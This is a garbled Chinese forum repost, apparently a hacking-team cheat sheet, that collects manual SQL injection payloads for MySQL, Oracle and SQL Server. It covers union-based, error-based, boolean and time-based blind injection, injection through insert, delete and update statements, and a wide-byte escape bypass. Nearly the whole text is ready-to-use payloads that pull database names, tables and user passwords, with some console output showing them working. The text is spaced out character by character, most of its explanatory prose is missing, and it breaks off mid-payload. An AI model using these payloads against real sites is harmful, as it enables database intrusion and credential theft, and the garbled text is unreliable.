[18233] 2020-12-15_SQL手工注入总结必须收藏

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-12-15_SQL手工注入总结必须收藏 S Q L     H A C K   2 0 2 0 - 1 2 - 1 5   s q l     W A F   便 0 x 0 1   M y s q l   1 . 1   1 . 2   e x p ( )   e x p   e x 7 0 9   ~   7 0 9 u p d a t e x m l ( )     u p d a t e x m l     X p a t h     ~     x m l   c o n c a t ( )   ? i d = 1 '   o r d e r   b y   4 - - + ? i d = 0 '   u n i o n   s e l e c t   1 , 2 , 3 , d a t a b a s e ( ) - - + ? i d = 0 '   u n i o n   s e l e c t   1 , 2 , 3 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   - - + ? i d = 0 '   u n i o n   s e l e c t   1 , 2 , 3 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " u s e r s "   - - + # g r o u p _ c o n c a t ( c o l u m n _ n a m e )     u n h e x ( H e x ( c a s t ( c o l u m n _ n a m e + a s + c h a r ) ) ) c o l u m n _ n a m e ? i d = 0 '   u n i o n   s e l e c t   1 , 2 , 3 , g r o u p _ c o n c a t ( p a s s w o r d )   f r o m   u s e r s   - - + # g r o u p _ c o n c a t     c o n c a t _ w s ( ' , ' , i d , u s e r s , p a s s w o r d   ) ? i d = 0 '   u n i o n   s e l e c t   1 , 2 , 3 , p a s s w o r d   f r o m   u s e r s   l i m i t   0 , 1 - - + 1 . f l o o r ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( u s e r ( ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) ; 2 . e x t r a c t v a l u e ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) ) ) ; 3 . u p d a t e x m l ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) , 1 ) ) ; 4 . g e o m e t r y c o l l e c t i o n ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   g e o m e t r y c o l l e c t i o n ( ( s e l e c t   *   f r o m ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 5 . m u l t i p o i n t ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i p o i n t ( ( s e l e c t   *   f r o m ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 6 . p o l y g o n ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   p o l y g o n ( ( s e l e c t   *   f r o m ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 7 . m u l t i p o l y g o n ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i p o l y g o n ( ( s e l e c t   *   f r o m ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 8 . l i n e s t r i n g ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   l i n e s t r i n g ( ( s e l e c t   *   f r o m ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 9 . m u l t i l i n e s t r i n g ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   m u l t i l i n e s t r i n g ( ( s e l e c t   *   f r o m ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) b ) ) ; 1 0 . e x p ( ) s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   e x p ( ~ ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) ) ;
  m d 5     3 1   1 . 3   1 . 3 . 1       s l e e p ( )   B E N C H M A R K ( )   使 ( 使 , ) 使   a s c i i ( )   h e x ( )   1 . 3 . 2   1 . 4   i n s e r t , d e l e t e , u p d a t e i n s e r t , d e l e t e , u p d a t e   使   s q l m a p     i p ,     1 . 4 . 1   ? i d = 1 '   a n d   u p d a t e x m l ( 1 , ( s e l e c t   c o n c a t ( 0 x 7 e , ( s c h e m a _ n a m e ) , 0 x 7 e )   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a   l i m i t   2 , 1 ) , 1 )   - -   + ? i d = 1 '   a n d   u p d a t e x m l ( 1 , ( s e l e c t   c o n c a t ( 0 x 7 e , ( t a b l e _ n a m e ) , 0 x 7 e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = ' s e c u r i t y '   l i m i t   3 , 1 ) , 1 )   - -   + ? i d = 1 '   a n d   u p d a t e x m l ( 1 , ( s e l e c t   c o n c a t ( 0 x 7 e , ( c o l u m n _ n a m e ) , 0 x 7 e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = 0 x 7 5 7 3 6 5 7 2 7 3   l i m i t   2 , 1 ) , 1 )   - -   + ? i d = 1 '   a n d   u p d a t e x m l ( 1 , ( s e l e c t   c o n c a t ( 0 x 7 e , p a s s w o r d , 0 x 7 e )   f r o m   u s e r s   l i m i t   1 , 1 ) , 1 )   - -   + # c o n c a t     u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   p a s s w o r d   f r o m   u s e r s   l i m i t   1 , 1 ) , 0 x 7 e ) , 1 ) s u b s t r ( s t r i n g   s t r i n g , n u m   s t a r t , n u m   l e n g t h ) ; # s t r i n g , s t a r t , l e n g t h ? i d = 1 '   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e ,   s u b s t r ( ( s e l e c t   p a s s w o r d   f r o m   u s e r s   l i m i t   1 , 1 ) , 1 , 1 6 ) , 0 x 7 e ) , 1 )   - -   + # i f e x p r e 1 e x p r e 2 e x p r e 3   e x p r e 1     t r u e     e x p r e 2 f a l s e     e x p r e 3 #   m y s q l   s u b s t r s u b s t r i n g l e f t ? i d = 1 '   a n d   i f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 1 , 1 ) ) > 1 1 5 , 1 , s l e e p ( 5 ) ) - - + ? i d = 1 '   a n d   i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r ' ) , s l e e p ( 5 ) , 1 ) - - + ? i d = 1 '   a n d   s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r '   - -   + ? i d = 1 '   a n d   I F N U L L ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r ' ) , 0 )   - -   + #   I F N U L L     N U L L   N u l l   ? i d = 1 '   a n d   s t r c m p ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r ' ) , 1 )   - -   + # S T R C M P ( )     0   - 1     1 m y s q l >   i n s e r t   i n t o   a d m i n   ( i d , u s e r n a m e , p a s s w o r d )   v a l u e s   ( 2 , " o r   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( v e r s i o n ( ) ) ) , 0 )   o r " , " a d m i n " ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c ) m y s q l >   s e l e c t   *   f r o m   a d m i n ; + - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - + |   i d       |   u s e r n a m e                                                                             |   p a s s w o r d   | + - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - + |         1   |   a d m i n                                                                                   |   a d m i n         |
1 . 4 . 2   1 . 5   s q l 1 6 |         1   |   a n d   1 = 1                                                                               |   a d m i n         | |         2   |   o r   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( v e r s i o n ( ) ) ) , 0 )   o r   |   a d m i n         | + - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - + 3   r o w s   i n   s e t   ( 0 . 0 0   s e c ) m y s q l >   i n s e r t   i n t o   a d m i n   ( i d , u s e r n a m e , p a s s w o r d )   v a l u e s   ( 2 , " " o r   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( v e r s i o n ( ) ) ) , 0 )   o r " " , " a d m i n " ) ; E R R O R   1 1 0 5   ( H Y 0 0 0 ) :   X P A T H   s y n t a x   e r r o r :   ' ~ 5 . 5 . 5 3 ' # d e l e t e   使   o r   1 = 1   o r   f a l s e m y s q l >   d e l e t e   f r o m   a d m i n   w h e r e   i d   = - 2   o r   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( v e r s i o n ( ) ) ) , 0 ) ; E R R O R   1 1 0 5   ( H Y 0 0 0 ) :   X P A T H   s y n t a x   e r r o r :   ' ~ 5 . 5 . 5 3 ' # i n t   使         a n d   o r     m y s q l >   i n s e r t   i n t o   a d m i n   v a l u e s   ( 2 + i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r ' ) , s l e e p ( 5 ) , 1 ) , ' 1 ' , " a d m i n " ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 5 . 0 0   s e c ) m y s q l >   i n s e r t   i n t o   a d m i n   v a l u e s   ( 2 + i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' p ' ) , s l e e p ( 5 ) , 1 ) , ' 1 ' , " a d m i n " ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c ) # 使 a n d m y s q l >   i n s e r t   i n t o   a d m i n   v a l u e s   ( 2 , ' ' + i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' p ' ) , s l e e p ( 5 ) , 1 ) + ' ' , " a d m i n " ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c ) m y s q l >   i n s e r t   i n t o   a d m i n   v a l u e s   ( 2 , ' ' + i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r ' ) , s l e e p ( 5 ) , 1 ) + ' ' , " a d m i n " ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 5 . 0 1   s e c ) #   d e l e t e     o r     f a l s e m y s q l >   d e l e t e   f r o m   a d m i n   w h e r e   i d   = - 2   o r   i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r 4 ' ) , s l e e p ( 5 ) , 0 ) ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 0 0   s e c ) m y s q l >   d e l e t e   f r o m   a d m i n   w h e r e   i d   = - 2   o r   i f ( ( s u b s t r ( ( s e l e c t   u s e r ( ) ) , 1 , 1 ) = ' r ' ) , s l e e p ( 5 ) , 0 ) ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 5 . 0 0   s e c ) # u p d a t e   m y s q l >   s e l e c t   *   f r o m   a d m i n ; + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + |   i d       |   u s e r n a m e   |   p a s s w o r d   | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + |         2   |   1                 |   a d m i n         | |         2   |   1                 |   a d m i n         | |         2   |   1                 |   a d m i n         | |         2   |   a d m i n         |   a d m i n         | + - - - - - - + - - - - - - - - - - + - - - - - - - - - - + 4   r o w s   i n   s e t   ( 0 . 0 0   s e c ) m y s q l >   u p d a t e   a d m i n   s e t   i d = " 5 " + s l e e p ( 5 ) + " "   w h e r e   i d = 2 ; Q u e r y   O K ,   4   r o w s   a f f e c t e d   ( 2 0 . 0 0   s e c ) R o w s   m a t c h e d :   4     C h a n g e d :   4     W a r n i n g s :   0 m y s q l >   i n s e r t   i n t o   a d m i n   ( i d , n a m e , p a s s )   v a l u e s   ( ' 3 ' , 0 x 6 1 6 4 6 d 6 9 6 e 2 7 2 d 2 d 2 b , ' 1 1 ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c )
  a d m i n ' - - +     a d m i n       ,   m y s q l                   使 0 x 0 2   O r a c l e   2 . 1   2 . 2   2 . 3   2 . 3 . 1   O r a c l e 使 I F   t h e   e l s e   e n d   i f 使   d e c o d e ( )   d e c o d e ( , 1 , 1 , 2 , 2 , . . . n , n , ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c ) m y s q l >   s e l e c t   *   f r o m   a d m i n ; + - - - - + - - - - - - - - - - - + - - - - - - - + |   i d   |   n a m e             |   p a s s     | + - - - - + - - - - - - - - - - - + - - - - - - - + |     1   |   a d m i n           |   a d m i n   | |     2   |   a d m i n ' 1 1 1   |   1 1 1 1 1   | |     3   |   a d m i n ' - - +   |   1 1         | + - - - - + - - - - - - - - - - - + - - - - - - - + 4   r o w s   i n   s e t   ( 0 . 0 0   s e c ) ' % 5 c % d f % 5 c i d = - 1 % d f '   u n i o n   s e l e c t . . . # 使 % 2 7   - >   % 5 C % 2 7 # 使 % d f % 2 7   - >   % d f % 5 c % 2 7   - >   ' ? i d = - 1 '   u n i o n   s e l e c t   u s e r , n u l l   f r o m   d u a l - - ? i d = - 1 '   u n i o n   s e l e c t   v e r s i o n , n u l l   f r o m   v $ i n s t a n c e - - ? i d = - 1 '   u n i o n   s e l e c t   t a b l e _ n a m e , n u l l   f r o m   ( s e l e c t   *   f r o m   ( s e l e c t   r o w n u m   a s   l i m i t , t a b l e _ n a m e   f r o m   u s e r _ t a b l e s )   w h e r e   l i m i t = 3 ) - - ? i d = - 1 '   u n i o n   s e l e c t   c o l u m n _ n a m e , n u l l   f r o m   ( s e l e c t   *   f r o m   ( s e l e c t   r o w n u m   a s   l i m i t , c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e   = ' U S E R S ' )   w h e r e   l i m i t = 2 ) - - ? i d = - 1 '   u n i o n   s e l e c t   u s e r n a m e , p a s s w d   f r o m   u s e r s - - ? i d = - 1 '   u n i o n   s e l e c t   u s e r n a m e , p a s s w d   f r o m   ( s e l e c t   *   f r o m   ( s e l e c t   u s e r n a m e , p a s s w d , r o w n u m   a s   l i m i t   f r o m   u s e r s )   w h e r e   l i m i t = 3 ) - - ? i d = 1 '   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   u s e r   f r o m   d u a l ) ) - - ? i d = 1 '   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   b a n n e r   f r o m   v $ v e r s i o n   w h e r e   b a n n e r   l i k e   ' O r a c l e % ) ) - - ? i d = 1 '   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   t a b l e _ n a m e   f r o m   ( s e l e c t   r o w n u m   a s   l i m i t , t a b l e _ n a m e   f r o m   u s e r _ t a b l e s )   w h e r e   l i m i t =   3 ) ) - - ? i d = 1 '   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   c o l u m n _ n a m e   f r o m   ( s e l e c t   r o w n u m   a s   l i m i t , c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e   = ' U S E R S ' )   w h e r e   l i m i t = 3 ) ) - - ? i d = 1 '   a n d   1 = c t x s y s . d r i t h s x . s n ( 1 , ( s e l e c t   p a s s w d   f r o m   ( s e l e c t   p a s s w d , r o w n u m   a s   l i m i t   f r o m   u s e r s )   w h e r e   l i m i t = 1 ) ) - - I F   = 1   T H E N         R E T U R N ( 1 ) E L S I F   = 2   T H E N         R E T U R N ( 2 )         . . . . . . E L S I F   = n   T H E N         R E T U R N ( n ) E L S E         R E T U R N ( )
2 . 3 . 2   使 D B M S _ P I P E . R E C E I V E _ M E S S A G E ( ' ' , ) 0 x 0 3   S Q L   s e r v e r   3 . 1   3 . 2   3 . 3   3 . 3 . 1   3 . 3 . 2   : H A C K E N D   I F ? i d = 1 '   a n d   1 = ( s e l e c t   d e c o d e ( u s e r , ' S Y S T E M ' , 1 , 0 , 0 )   f r o m   d u a l ) - - ? i d = 1 '   a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ' S ' , 1 , 0 , 0 )   f r o m   d u a l ) - - ? i d = 1 '   a n d   a s c i i ( s u b s t r ( u s e r , 1 , 1 ) ) >   6 4 - -     # ? i d = 1 '   a n d   1 = ( c a s e   w h e n   a s c i i ( s u b s t r ( u s e r , 1 , 1 ) ) >   1 2 8   t h e n   D B M S _ P I P E . R E C E I V E _ M E S S A G E ( ' a ' , 5 )   e l s e   1   e n d ) - - ? i d = 1 '   a n d   1 = ( c a s e   w h e n   a s c i i ( s u b s t r ( u s e r , 1 , 1 ) ) >   6 4   t h e n   D B M S _ P I P E . R E C E I V E _ M E S S A G E ( ' a ' , 5 )   e l s e   1   e n d ) - - ? i d = - 1 '   u n i o n   s e l e c t   n u l l , n u l l - - ? i d = - 1 '   u n i o n   s e l e c t   @ @ s e r v e r n a m e ,   @ @ v e r s i o n - - ? i d = - 1 '   u n i o n   s e l e c t   d b _ n a m e ( ) , s u s e r _ s n a m e ( ) - - ? i d = - 1 '   u n i o n   s e l e c t   ( s e l e c t   t o p   1   n a m e   f r o m   s y s . d a t a b a s e s   w h e r e   n a m e   n o t   i n   ( s e l e c t   t o p   6   n a m e   f r o m   s y s . d a t a b a s e s ) ) , n u l l - - ? i d = - 1 '   u n i o n   s e l e c t   ( s e l e c t   t o p   1   n a m e   f r o m   s y s . d a t a b a s e s   w h e r e   n a m e   n o t   i n   ( s e l e c t   t o p   7   n a m e   f r o m   s y s . d a t a b a s e s l ) , n u l l - - ? i d - - 1 '   u n i o n   s e l e c t   ( s e l e c t   t o p   1   t a b l e _   n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ n a m e   n o t   i n   ( s e l e c t   t o p   0   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s ) ) , n u l l - - ? i d = - 1 '   u n i o n   s e l e c t   ( s e l e c t   t o p   1   c o l u m n   n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' u s e r s '   a n d   c o l u m n _ n a m e   n o t   i n   ( s e l e c t   t o p   1   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e   =   ' u s e r s ' ) ) , n u l l - - - ? i d = - 1 '   u n i o n   s e l e c t   ( s e l e c t   t o p   1   u s e r n a m e   f r o m   u s e r s   w h e r e   u s e r n a m e   n o t   i n   ( s e l e c t   t o p   3   u s e r n a m e   f r o m   u s e r s ) ) , n u l l - - ? i d = 1 '   a n d   1 = ( s e l e c t   1 / @ @ s e r v e r n a m e ) - - ? i d = 1 '   a n d   1 = ( s e l e c t   1 / ( s e l e c t   t o p   1   n a m e   f r o m   s y s . d a t a b a s e s   w h e r e   n a m e   n o t   i n   ( s e l e c t   t o p   1   n a m e   f r o m   s y s . d a t a b a s e s ) ) - - ? i d = 1 '   a n d   a s c i i ( s u b s t r i n g ( ( s e l e c t   d b _   n a m e ( 1 ) ) , 1 , 1 ) ) >   6 4 - - ? i d =   1 ' ; i f ( 2 > 1 )   w a i t f o r   d e l a y   ' 0 : 0 : 5 ' - - ? i d =   1 ' ; i f ( A S C I I ( S U B S T R I N G ( ( s e l e c t   d b _ n a m e ( 1 ) ) , 1 , 1 ) ) >   6 4 )   w a i
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则